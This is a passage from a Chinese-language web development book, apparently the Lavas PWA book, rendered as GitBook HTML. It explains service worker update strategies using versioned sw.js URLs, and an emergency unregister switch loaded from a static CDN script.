&#x9020;&#x6210;&#x5F71;&#x54CD;&#x3002;</li>\n<li>&#x76F8;&#x6BD4;&#x8F83;&#x6574;&#x4E2A;&#x7AD9;&#x70B9;&#x53EA;&#x6CE8;&#x518C;&#x4E00;&#x4E2A; Service Worker&#xFF0C;&#x8FD9;&#x79CD;&#x7EF4;&#x62A4;&#x591A;&#x4E2A; Service Worker &#x7684;&#x65B9;&#x5F0F;&#x66F4;&#x52A0;&#x7075;&#x6D3B;&#x3002;</li>\n<li>&#x968F;&#x7740;&#x5B50;&#x7AD9;&#x7684;&#x589E;&#x591A;&#xFF0C;&#x98CE;&#x9669;&#x76F8;&#x5BF9;&#x4F1A;&#x66F4;&#x52A0;&#x5927;&#xFF0C;&#x4E5F;&#x66F4;&#x52A0;&#x96BE;&#x4EE5;&#x7EF4;&#x62A4;&#x3002;</li>\n</ul>\n<h2 id=\"service-worker-&#x66F4;&#x65B0;\"><a name=\"service-worker-&#x66F4;&#x65B0;\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker-&#x66F4;&#x65B0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker-&#x66F4;&#x65B0;\" class=\"plugin-anchor\" href=\"#service-worker-&#x66F4;&#x65B0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker &#x66F4;&#x65B0;</h2>\n<p>&#x5F53;&#x5728;&#x9875;&#x9762;&#x4E2D;&#x901A;&#x8FC7; <code>sw.js</code> &#x6CE8;&#x518C;&#x4E86;&#x4E00;&#x4E2A; Service Worker &#x4E4B;&#x540E;&#xFF0C;&#x5982;&#x679C; <code>sw.js</code> &#x5185;&#x5BB9;&#x53D1;&#x751F;&#x4E86;&#x53D8;&#x66F4;&#xFF0C;Service Worker &#x8BE5;&#x5982;&#x4F55;&#x66F4;&#x65B0;&#x5462;&#xFF1F;</p>\n<p>&#x62FF; SPA &#x4E3A;&#x4F8B;&#xFF0C;&#x4F5C;&#x4E3A; AppShell &#x7684;&#x8F7D;&#x4F53; <code>index.html</code> &#x662F;&#x4F1A;&#x88AB;&#x7F13;&#x5B58;&#x8D77;&#x6765;&#x7684;&#xFF0C;AppShell &#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x4E5F;&#x90FD;&#x4F1A;&#x88AB;&#x7F13;&#x5B58;&#x8D77;&#x6765;&#x7684;&#xFF0C;&#x7531;&#x4E8E; Service Worker &#x7684;&#x6CE8;&#x518C;&#x5165;&#x53E3;&#x5FC5;&#x987B;&#x662F;&#x5728;&#x4E3B;&#x7EBF;&#x7A0B;&#x5B8C;&#x6210;&#xFF0C;&#x6240;&#x4EE5; Service Worker &#x7684;&#x6CE8;&#x518C;&#x5FC5;&#x7136;&#x662F;&#x9700;&#x8981;&#x5728; <code>index.html</code> &#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x6216;&#x8005;&#x88AB;&#x7F13;&#x5B58;&#x4F4F;&#x7684; JavaScript &#x6587;&#x4EF6;&#x4E2D;&#x6765;&#x5B9E;&#x73B0;&#x7684;&#x3002;</p>\n<p>&#x5982;&#x679C; Web App &#x529F;&#x80FD;&#x53D1;&#x751F;&#x4E86;&#x5347;&#x7EA7;&#x66F4;&#x65B0;&#xFF0C;&#x6211;&#x4EEC;&#x9884;&#x671F;&#x7684;&#x7ED3;&#x679C;&#x662F;&#x5F53;&#x7528;&#x6237;&#x5237;&#x65B0;&#x9875;&#x9762;&#x7684;&#x65F6;&#x5019;&#x5E0C;&#x671B;&#x6D4F;&#x89C8;&#x5668;&#x7ACB;&#x5373;&#x66F4;&#x65B0;&#x5F53;&#x524D;&#x9875;&#x9762;&#x7684;&#x7F13;&#x5B58;&#xFF0C;&#x5E76;&#x4E14;&#x7ACB;&#x5373;&#x52A0;&#x8F7D;&#x6700;&#x65B0;&#x7684;&#x5185;&#x5BB9;&#x548C;&#x8D44;&#x6E90;&#xFF0C;&#x5448;&#x73B0;&#x6700;&#x65B0;&#x7684;&#x6548;&#x679C;&#x7ED9;&#x7528;&#x6237;&#x770B;&#x5230;&#x3002;&#x53EF;&#x662F;&#x7528;&#x6237;&#x5728;&#x5237;&#x65B0;&#x9875;&#x9762;&#x7684;&#x65F6;&#x5019;&#x770B;&#x5230;&#x7684;&#x8FD8;&#x662F;&#x4E4B;&#x524D;&#x7F13;&#x5B58;&#x7684;&#x8001;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x8FD9;&#x65F6;&#x5019;&#x8BE5;&#x5982;&#x4F55;&#x5904;&#x7406;&#x5462;&#xFF1F;</p>\n<p>&#x901A;&#x5E38;&#x5728;&#x6BCF;&#x6B21;&#x8FDB;&#x884C; Web App &#x5347;&#x7EA7;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x90FD;&#x5FC5;&#x987B;&#x4F34;&#x968F;&#x7740; Service Worker &#x6587;&#x4EF6; <code>sw.js</code> &#x7684;&#x5347;&#x7EA7;&#xFF0C;&#x5F53;&#x6D4F;&#x89C8;&#x5668;&#x68C0;&#x6D4B;&#x5230; <code>sw.js</code> &#x7684;&#x5347;&#x7EA7;&#x4E4B;&#x540E;&#xFF0C;&#x5C31;&#x4F1A;&#x91CD;&#x65B0;&#x89E6;&#x53D1;&#x6CE8;&#x518C;&#x3001;&#x5B89;&#x88C5;&#x3001;&#x6FC0;&#x6D3B;&#x3001;&#x63A7;&#x5236;&#x9875;&#x9762;&#x7684;&#x6D41;&#x7A0B;&#xFF0C;&#x5E76;&#x5728;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x4E2D;&#x5C31;&#x4F1A;&#x66F4;&#x65B0;&#x5F53;&#x524D; Web App &#x7684;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x4E3A;&#x6700;&#x65B0;&#x7684;&#x4E0A;&#x7EBF;&#x5185;&#x5BB9;&#x3002;</p>\n<p>&#x5728;&#x6267;&#x884C; <code>navigator.serviceWorker.register()</code> &#x65B9;&#x6CD5;&#x6CE8;&#x518C; Service Worker &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x901A;&#x8FC7;&#x81EA;&#x8EAB; diff &#x7B97;&#x6CD5;&#x80FD;&#x591F;&#x68C0;&#x6D4B; <code>sw.js</code> &#x7684;&#x66F4;&#x65B0;&#x5305;&#x542B;&#x4E24;&#x79CD;&#x65B9;&#x5F0F;&#xFF1A;</p>\n<ul>\n<li>Service Worker &#x6587;&#x4EF6; URL &#x7684;&#x66F4;&#x65B0;</li>\n<li>Service Worker &#x6587;&#x4EF6;&#x5185;&#x5BB9;&#x7684;&#x66F4;&#x65B0;</li>\n</ul>\n<p>&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#xFF0C;&#x5728; Web App &#x65B0;&#x4E0A;&#x7EBF;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x901A;&#x5E38;&#x662F;&#x5728;&#x6CE8;&#x518C; Service Worker &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x901A;&#x8FC7;&#x4FEE;&#x6539; Service Worker &#x6587;&#x4EF6;&#x7684; URL &#x6765;&#x8FDB;&#x884C; Service Worker &#x7684;&#x66F4;&#x65B0;&#xFF0C;&#x4E00;&#x822C;&#x91C7;&#x7528;&#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x7684;&#x65B9;&#x5F0F;&#x5904;&#x7406;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token string\">&apos;serviceWorker&apos;</span> <span class=\"token keyword\">in</span> navigator<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  navigator<span class=\"token punctuation\">.</span>serviceWorker<span class=\"token punctuation\">.</span><span class=\"token function\">register</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;./sw.js?v=20190401235959&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x6BCF;&#x6B21; Web App &#x4E0A;&#x7EBF;&#x6784;&#x5EFA;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x7EF4;&#x62A4;&#x4E00;&#x4E2A;&#x6700;&#x65B0;&#x7684;&#x552F;&#x4E00;&#x6784;&#x5EFA;&#x7248;&#x672C;&#x53F7;&#xFF0C;&#x5C06;&#x6784;&#x5EFA;&#x7248;&#x672C;&#x53F7;&#x5199;&#x5165; Service Worker &#x6587;&#x4EF6; URL &#x7684;&#x7248;&#x672C;&#x53F7;&#x53C2;&#x6570;&#x4E2D;&#xFF0C;&#x8FD9;&#x6837;&#x7684;&#x8BDD;&#xFF0C;&#x5C31;&#x80FD;&#x591F;&#x4FDD;&#x8BC1;&#x6BCF;&#x6B21; Web App &#x6709;&#x6700;&#x65B0;&#x4E0A;&#x7EBF;&#x529F;&#x80FD;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x90FD;&#x80FD;&#x591F;&#x6709;&#x6700;&#x65B0;&#x7684; Service Worker &#x6587;&#x4EF6; diff &#x8BA9;&#x6D4F;&#x89C8;&#x5668;&#x80FD;&#x591F;&#x68C0;&#x6D4B;&#x5230;&#x3002;&#x5F53;&#x7136;&#xFF0C;&#x9664;&#x4E86;&#x6539;&#x53D8; Service Worker &#x6587;&#x4EF6; URL&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x6539;&#x53D8; Service Worker &#x6587;&#x4EF6;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// sw.js</span>\nself<span class=\"token punctuation\">.</span>version <span class=\"token operator\">=</span> <span class=\"token string\">&apos;20190401235959&apos;</span>\n</code></pre>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\n&#x5728; sw.js &#x4E2D;&#xFF0C;<code>self</code> &#x4E3A; Service Worker &#x7EBF;&#x7A0B;&#x7684;&#x5168;&#x5C40;&#x547D;&#x540D;&#x7A7A;&#x95F4;&#xFF0C;&#x7C7B;&#x4F3C;&#x4E8E;&#x4E3B;&#x7EBF;&#x7A0B;&#x7684; <code>window</code>&#xFF0C;&#x5728; sw.js &#x4E2D;&#x662F;&#x8BBF;&#x95EE;&#x4E0D;&#x5230; <code>window</code> &#x547D;&#x540D;&#x7A7A;&#x95F4;&#x7684;&#x3002;</p>\n</blockquote>\n<p>&#x5728; Web App &#x6BCF;&#x6B21;&#x4E0A;&#x7EBF;&#x65B0;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x9879;&#x76EE;&#x8FDB;&#x884C;&#x6784;&#x5EFA;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x53EF;&#x4EE5;&#x5C06;&#x6700;&#x65B0;&#x7684;&#x552F;&#x4E00;&#x6784;&#x5EFA;&#x7248;&#x672C;&#x53F7;&#x5199;&#x5728; <code>sw.js</code> &#x6587;&#x4EF6;&#x5185;&#xFF0C;&#x8FD9;&#x6837;&#x4E5F;&#x80FD;&#x4FDD;&#x8BC1;&#x6BCF;&#x6B21; Web App &#x90FD;&#x80FD;&#x591F;&#x6709;&#x6700;&#x65B0;&#x7684; Service Worker &#x6587;&#x4EF6; diff &#x88AB;&#x6D4F;&#x89C8;&#x5668;&#x68C0;&#x6D4B;&#x5230;&#x3002;</p>\n<h2 id=\"service-worker-&#x5BB9;&#x9519;\"><a name=\"service-worker-&#x5BB9;&#x9519;\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker-&#x5BB9;&#x9519;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker-&#x5BB9;&#x9519;\" class=\"plugin-anchor\" href=\"#service-worker-&#x5BB9;&#x9519;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker &#x5BB9;&#x9519;</h2>\n<p>&#x7531;&#x4E8E; Service Worker &#x4E00;&#x65E6;&#x4E0A;&#x7EBF;&#x5C31;&#x4F1A;&#x6C38;&#x4E45;&#x751F;&#x6548;&#xFF0C;&#x5982;&#x679C;&#x53D1;&#x73B0;&#x7EBF;&#x4E0A; Service Worker &#x6709; bug &#x8BE5;&#x600E;&#x4E48;&#x529E;&#x5462;&#xFF1F;&#x6709;&#x4E00;&#x79CD;&#x4EA1;&#x7F8A;&#x8865;&#x7262;&#x7684;&#x65B9;&#x6CD5;&#x662F;&#x91CD;&#x65B0;&#x4E0A;&#x4E00;&#x6B21;&#x7EBF;&#xFF0C;&#x6CE8;&#x9500;&#x6389;&#x6709; bug &#x7684; Service Worker&#xFF0C;&#x5047;&#x5982;&#x73B0;&#x5728;&#x6709;&#x4E00;&#x4E2A;&#x73B0;&#x5B58;&#x7684;&#x9879;&#x76EE; serviceWorkerUnregisterDemo&#xFF0C;&#x9879;&#x76EE;&#x76EE;&#x5F55;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token keyword\">.</span>\n&#x2514;&#x2500;&#x2500; serviceWorkerUnregisterDemo/\n    &#x251C;&#x2500;&#x2500; index.html\n    &#x2514;&#x2500;&#x2500; sw.js\n</code></pre>\n<p>&#x5982;&#x679C;&#x9700;&#x8981;&#x7D27;&#x6025;&#x4E0B;&#x7EBF;&#x8BE5;&#x9879;&#x76EE;&#x7684; Service Worker&#xFF0C;&#x5219; <code>index.html</code> &#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Unregister Demo<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        navigator.serviceWorker.getRegistrations()\n          .then(regs =&gt; {\n            for (let reg of regs) {\n              // &#x6CE8;&#x9500;&#x6389;&#x6240;&#x6709;&#x7684; Service Worker\n              reg.unregister()\n            }\n          })\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x8FD9;&#x79CD;&#x65B9;&#x6CD5;&#x662F;&#x5728;&#x53D1;&#x73B0; Service Worker &#x51FA;&#x73B0;&#x95EE;&#x9898;&#x4E4B;&#x540E;&#xFF0C;&#x5FC5;&#x987B;&#x91CD;&#x65B0;&#x4E0A;&#x7EBF; Web App &#x6765;&#x89E3;&#x51B3;&#x95EE;&#x9898;&#xFF0C;&#x8FD9;&#x6837;&#x7684;&#x6210;&#x672C;&#x6BD4;&#x8F83;&#x9AD8;&#x3002;&#x4E00;&#x822C;&#x5927;&#x578B; Web App &#x4E0A;&#x7EBF;&#x7684;&#x8FC7;&#x7A0B;&#x4E5F;&#x975E;&#x5E38;&#x590D;&#x6742;&#xFF0C;&#x4E0A;&#x7EBF;&#x5468;&#x671F;&#x957F;&#xFF0C;&#x6240;&#x4EE5;&#x8FD9;&#x79CD;&#x6B62;&#x635F;&#x6548;&#x679C;&#x8F83;&#x5DEE;&#xFF0C;&#x4E0D;&#x662F;&#x5F88;&#x53EF;&#x53D6;&#x3002;&#x8FD8;&#x6709;&#x4E00;&#x79CD;&#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x907F;&#x514D;&#x91CD;&#x65B0;&#x4E0A;&#x7EBF; Web App&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x5728; Service Worker &#x6CE8;&#x518C;&#x7684;&#x65F6;&#x5019;&#x901A;&#x8FC7;&#x4E00;&#x4E2A; &#x201C;<strong>&#x5F00;&#x5173;&#x8BF7;&#x6C42;</strong>&#x201D; &#x505A;&#x4E00;&#x4E2A;&#x5BB9;&#x9519;&#x964D;&#x7EA7;&#x7684;&#x5904;&#x7406;&#xFF0C;&#x8FD9;&#x4E2A;&#x5F00;&#x5173;&#x8BF7;&#x6C42;&#x9700;&#x8981;&#x6EE1;&#x8DB3;&#x51E0;&#x4E2A;&#x6761;&#x4EF6;&#xFF1A;</p>\n<ul>\n<li>&#x80FD;&#x591F;&#x5FEB;&#x901F;&#x4E0A;&#x7EBF;&#xFF0C;&#x548C; Web App &#x7684;&#x4E0A;&#x7EBF;&#x89E3;&#x8026;</li>\n<li>&#x4E0D;&#x80FD;&#x88AB;&#x7F13;&#x5B58;&#xFF08;&#x65E0;&#x8BBA;&#x662F; HTTP &#x7F13;&#x5B58;&#x8FD8;&#x662F; Service Worker &#x7F13;&#x5B58;&#xFF09;</li>\n</ul>\n<p>&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#xFF0C;&#x901A;&#x5E38;&#x5F00;&#x5173;&#x8BF7;&#x6C42;&#x4F1A;&#x7EF4;&#x62A4;&#x6210;&#x4E00;&#x4E2A; JavaScript &#x6587;&#x4EF6;&#xFF08;&#x5F53;&#x7136;&#x4E5F;&#x53EF;&#x4EE5;&#x662F;&#x4EFB;&#x4F55;&#x4E00;&#x79CD;&#x8BF7;&#x6C42;&#x7C7B;&#x578B;&#xFF0C;&#x53EA;&#x4E0D;&#x8FC7; JavaScript &#x6587;&#x4EF6;&#x901A;&#x5E38;&#x6BD4;&#x8F83;&#x597D;&#x7EF4;&#x62A4;&#xFF0C;&#x800C;&#x4E14;&#x65E0;&#x9700;&#x8003;&#x8651;&#x8BF7;&#x6C42;&#x8DE8;&#x57DF;&#x7684;&#x95EE;&#x9898;&#xFF09;&#xFF0C;&#x653E;&#x5728;&#x67D0;&#x4E00;&#x4E2A;&#x53EF;&#x4EE5;&#x5FEB;&#x901F;&#x4E0A;&#x7EBF;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x670D;&#x52A1;&#x5668;&#x3002;&#x90A3;&#x4E48;&#x73B0;&#x5728;&#x53EF;&#x4EE5;&#x4FEE;&#x6539; serviceWorkerUnregisterDemo &#x9879;&#x76EE;&#x7684; <code>index.html</code> &#x4EE3;&#x7801;&#x6765;&#x770B;&#x770B;&#x5177;&#x4F53;&#x5982;&#x4F55;&#x89E3;&#x51B3;&#x95EE;&#x9898;&#x7684;&#xFF0C;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x9762;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Unregister Demo<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        // &#x6B63;&#x5E38;&#x8FDB;&#x884C;&#x6CE8;&#x518C; Service Worker\n        navigator.serviceWorker.register(&apos;./sw.js?v=20190401235959&apos;)\n        let script = document.createElement(&apos;script&apos;)\n        // &#x5047;&#x8BBE;&#x8FD9;&#x4E2A; JS &#x4E2D;&#x5B58;&#x5728; Service Worker &#x5F00;&#x5173;&#x5168;&#x5C40;&#x53D8;&#x91CF;\n        script.src = &apos;https://some-static-cdn-host/sw-on-off.js&apos;\n        script.async = true\n        script.onload = () =&gt; {\n          // Service Worker &#x5F00;&#x5173;&#x5168;&#x5C40;&#x53D8;&#x91CF;&#x7684;&#x540D;&#x79F0;\n          if (window.SW_TURN_OFF) {\n            navigator.serviceWorker.getRegistrations()\n              .then(regs =&gt; {\n                for (let reg of regs) {\n                  // &#x6CE8;&#x9500;&#x6389;&#x6240;&#x6709;&#x7684; Service Worker\n                  reg.unregister()\n                }\n              })\n          }\n        }\n        document.body.appendChild(script)\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5047;&#x5982;&#x5728; <code>https://some-static-cdn-host/sw-on-off.js</code> &#x9759;&#x6001;&#x8D44;&#x6E90;&#x670D;&#x52A1;&#x5668;&#x7EF4;&#x62A4;&#x4E86;&#x4E00;&#x4E2A;&#x5F00;&#x5173; JavaScript &#x6587;&#x4EF6;&#xFF0C;&#x90A3;&#x8FD9;&#x4E2A;&#x6587;&#x4EF6;&#x6B63;&#x5E38;&#x60C5;&#x51B5;&#x4E0B;&#x7684;&#x4EE3;&#x7801;&#x5185;&#x5BB9;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">/**\n * @file https://some-static-cdn-host/sw-on-off.js\n */</span>\n\n<span class=\"token comment\">// &#x5F53; Web App &#x7EBF;&#x4E0A;&#x51FA;&#x73B0;&#x7D27;&#x6025;&#x95EE;&#x9898;&#x7684;&#x65F6;&#x5019;&#x5C06;&#x503C;&#x8BBE;&#x4E3A; true &#x5E76;&#x4E0A;&#x7EBF;</span>\nwindow<span class=\"token punctuation\">.</span><span class=\"token constant\">SW_TURN_OFF</span> <span class=\"token operator\">=</span> <span class=\"token boolean\">false</span>\n</code></pre>\n<h2 id=\"&#x5C0F;&#x7ED3;\"><a name=\"&#x5C0F;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C0F;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C0F;&#x7ED3;</h2>\n<p>&#x672C;&#x8282;&#x4ECE;&#x6CE8;&#x518C; Service Worker &#x7684;&#x89D2;&#x5EA6;&#x51FA;&#x53D1;&#xFF0C;&#x8BE6;&#x7EC6;&#x7684;&#x4ECB;&#x7ECD;&#x4E86;&#x5728;&#x6CE8;&#x518C; Service Worker &#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#x9700;&#x8981;&#x8003;&#x8651;&#x54EA;&#x4E9B;&#x95EE;&#x9898;&#xFF0C;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x9879;&#x76EE;&#x67B6;&#x6784;&#x6216;&#x8005;&#x4E0D;&#x540C;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x6CE8;&#x518C; Service Worker &#x7684;&#x8003;&#x91CF;&#x70B9;&#x90FD;&#x662F;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#xFF0C;&#x63A5;&#x6765;&#x4E0B;&#x5C06;&#x4F1A;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD; Service Worker &#x7684;&#x6280;&#x672F;&#x7EC6;&#x8282;&#xFF0C;&#x4E86;&#x89E3; Service Worker &#x5230;&#x5E95;&#x662F;&#x5982;&#x4F55;&#x8FDB;&#x884C; PWA &#x7684;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"1-service-worker-introduction.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 4.1 Service Worker 简介\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"3-service-worker-dive.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 4.3 Service Worker 工作原理\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"4.2 Service Worker 注册\",\"level\":\"1.5.2\",\"depth\":2,\"next\":{\"title\":\"4.3 Service Worker 工作原理\",\"level\":\"1.5.3\",\"depth\":2,\"path\":\"chapter04/3-service-worker-dive.md\",\"ref\":\"chapter04/3-service-worker-dive.md\",\"articles\":[]},\"previous\":{\"title\":\"4.1 Service Worker 简介\",\"level\":\"1.5.1\",\"depth\":2,\"path\":\"chapter04/1-service-worker-introduction.md\",\"ref\":\"chapter04/1-service-worker-introduction.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   